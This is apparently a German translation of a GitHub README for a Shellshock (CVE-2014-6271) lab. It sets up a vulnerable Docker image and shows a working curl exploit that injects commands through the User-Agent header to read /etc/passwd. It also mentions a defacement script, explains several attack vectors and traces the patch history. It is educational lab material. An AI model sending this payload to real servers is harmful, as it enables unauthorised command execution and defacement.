opsxcq/exploit-cve-2014-6271Shellshock-Exploit + verwundbare Umgebung
Shellshock, auch bekannt als Bashdoor, ist eine Familie von Sicherheitsfehlern in der weit verbreiteten Unix-Bash-Shell, von denen der erste am 24. September 2014 offengelegt wurde. Viele internetzugängliche Dienste, wie etwa einige Webserver-Bereitstellungen, verwenden Bash, um bestimmte Anfragen zu verarbeiten, was es einem Angreifer ermöglicht, verwundbare Versionen von Bash zur Ausführung beliebiger Befehle zu veranlassen. Dadurch kann ein Angreifer unbefugten Zugriff auf ein Computersystem erlangen.
Sie benötigen eine Docker-Installation, um die Umgebung auszuführen. Gehen Sie zu docker.com und installieren Sie es, falls Sie es noch nicht haben.
Um die verwundbare Umgebung zu starten, führen Sie einfach Folgendes aus
docker run --rm -it -p 8080:80 vulnerables/cve-2014-6271
Öffnen Sie Ihren Browser und gehen Sie zu localhost:8080. Wenn alles in Ordnung ist, sehen Sie eine Seite wie diese
Es gibt mehrere Möglichkeiten, diesen Fehler auszunutzen
Ein einfaches Beispiel, um cat /etc/passwd auszuführen
curl -H "user-agent: () { :; }; echo; echo; /bin/bash -c 'cat /etc/passwd'" \
http://localhost:8080/cgi-bin/vulnerable
Sie können es verwenden, um jeden beliebigen Befehl auszuführen
Dies ist nur ein Beispielcode in exploit-deface.sh. Führen Sie ihn einfach gegen das Image aus
./exploit-deface.sh <ip> <port>
Wenn Sie es beispielsweise mit dem oben angegebenen Befehl ausführen
./exploit-deface.sh localhost 8080
Aktualisieren Sie einfach Ihren Browser, und Sie werden Folgendes sehen
Führen Sie einfach dieses Bash-Skript auf Ihrem System aus, und Sie werden sehen, ob Sie verwundbar sind oder nicht:
env 'VAR=() { :;}; echo Bash is vulnerable!' 'FUNCTION()=() { :;}; echo Bash is vulnerable!' bash -c "echo Bash Test"
Wenn ein Webserver die Common Gateway Interface (CGI) verwendet, um eine Dokumentanfrage zu bearbeiten, übergibt er verschiedene Details der Anfrage über die Umgebungsvariablenliste an ein Handler-Programm. Beispielsweise hat die Variable HTTP_USER_AGENT einen Wert, der im normalen Gebrauch das Programm identifiziert, das die Anfrage sendet. Wenn der Anfrage-Handler ein Bash-Skript ist oder eines ausführt, beispielsweise über den system(3)-Aufruf, empfängt Bash die vom Server übergebenen Umgebungsvariablen und verarbeitet sie wie oben beschrieben. Dies bietet einem Angreifer eine Möglichkeit, die Shellshock-Verwundbarkeit mit einer speziell gestalteten Serveranfrage auszulösen.
Die Sicherheitsdokumentation für den weit verbreiteten Apache-Webserver besagt: „CGI-Skripte können ... extrem gefährlich sein, wenn sie nicht sorgfältig geprüft werden.“ Außerdem werden häufig andere Methoden zur Verarbeitung von Webserveranfragen verwendet. Es gibt eine Reihe von Online-Diensten, die versuchen, die Verwundbarkeit gegenüber im Internet freigegebenen Webservern zu testen.
OpenSSH verfügt über eine „ForceCommand“-Funktion, bei der beim Anmelden des Benutzers ein fester Befehl ausgeführt wird, anstatt lediglich eine uneingeschränkte Befehlsshell zu starten. Der feste Befehl wird auch dann ausgeführt, wenn der Benutzer angegeben hat, dass ein anderer Befehl ausgeführt werden soll; in diesem Fall wird der ursprüngliche Befehl in die Umgebungsvariable „SSH_ORIGINAL_COMMAND“ eingefügt. Wenn der erzwungene Befehl in einer Bash-Shell ausgeführt wird (sofern die Shell des Benutzers auf Bash gesetzt ist), parst die Bash-Shell beim Start die Umgebungsvariable SSH_ORIGINAL_COMMAND und führt die darin eingebetteten Befehle aus. Der Benutzer hat seinen eingeschränkten Shell-Zugriff genutzt, um mithilfe des Shellshock-Fehlers uneingeschränkten Shell-Zugriff zu erlangen.
Einige DHCP-Clients können ebenfalls Befehle an Bash übergeben; ein verwundbares System kann angegriffen werden, wenn es sich mit einem offenen WLAN-Netzwerk verbindet. Ein DHCP-Client fordert typischerweise eine IP-Adresse von einem DHCP-Server an und erhält diese, kann aber auch eine Reihe zusätzlicher Optionen erhalten. Ein bösartiger DHCP-Server könnte in einer dieser Optionen eine Zeichenkette bereitstellen, die dazu konstruiert ist, Code auf einer verwundbaren Workstation oder einem Laptop auszuführen.
Wenn Bash zur Verarbeitung von E-Mail-Nachrichten verwendet wird (z. B. über .forward oder qmail-alias-Piping), reicht der qmail-Mailserver externe Eingaben auf eine Weise durch, die eine verwundbare Version von Bash ausnutzen kann.
Der Fehler kann ausgenutzt werden, um von der eingeschränkten Shell der IBM Hardware Management Console, einer kleinen Linux-Variante für Systemadministratoren, Zugriff auf Bash zu erlangen. IBM hat einen Patch veröffentlicht, um dies zu beheben.
Bis zum 24. September 2014 stellte der Bash-Maintainer Chet Ramey eine Patch-Version bash43-025 von Bash 4.3 bereit, die CVE-2014-6271 adressierte und bereits von den Distributions-Maintainern paketiert wurde. Am 24. September folgte bash43-026, das CVE-2014-7169 adressierte. Dann wurde CVE-2014-7186 entdeckt. Florian Weimer von Red Hat veröffentlichte am 25. September „inoffiziell“ einen Patch-Code dafür, den Ramey als bash43-027 in Bash integrierte. Diese Patches enthielten nur Code und waren nur für diejenigen hilfreich, die wissen, wie man aus der Patch-Datei und den verbleibenden Quelldateien eine neue ausführbare Bash-Binärdatei kompiliert („neu erstellt“).
Am nächsten Tag präsentierte Red Hat offiziell entsprechende Updates für Red Hat Enterprise Linux, einen weiteren Tag später für Fedora 21. Canonical Ltd. präsentierte am Samstag, den 27. September, Updates für seine Ubuntu-Long-Term-Support-Versionen; am Sonntag gab es Updates für SUSE Linux Enterprise. Am darauffolgenden Montag und Dienstag am Monatsende erschienen Apple-OS-X-Updates.
Am 1. Oktober 2014 erklärte Michał Zalewski von Google Inc. schließlich, dass Weimers Code und bash43-027 nicht nur die ersten drei Fehler behoben hatten, sondern auch die übrigen drei, die nach bash43-027 veröffentlicht wurden, einschließlich seiner eigenen beiden Entdeckungen. Das bedeutet, dass nach den früheren Distributions-Updates keine weiteren Updates erforderlich waren, um alle sechs Probleme abzudecken.
Dieses oder frühere Programme dienen NUR zu Bildungszwecken. Verwenden Sie sie nicht ohne Erlaubnis. Es gilt der übliche Haftungsausschluss, insbesondere die Tatsache, dass ich (opsxcq) nicht für Schäden haftbar bin, die durch direkte oder indirekte Nutzung der von diesen Programmen bereitgestellten Informationen oder Funktionen verursacht werden. Der Autor oder irgendein Internetanbieter übernimmt KEINE Verantwortung für den Inhalt oder den Missbrauch dieser Programme oder jeglicher daraus abgeleiteter Programme. Durch die Nutzung dieser Programme akzeptieren Sie, dass jeglicher Schaden (Datenverlust, Systemabsturz, Systemkompromittierung usw.), der durch die Nutzung dieser Programme verursacht wird, nicht in der Verantwortung von opsxcq liegt.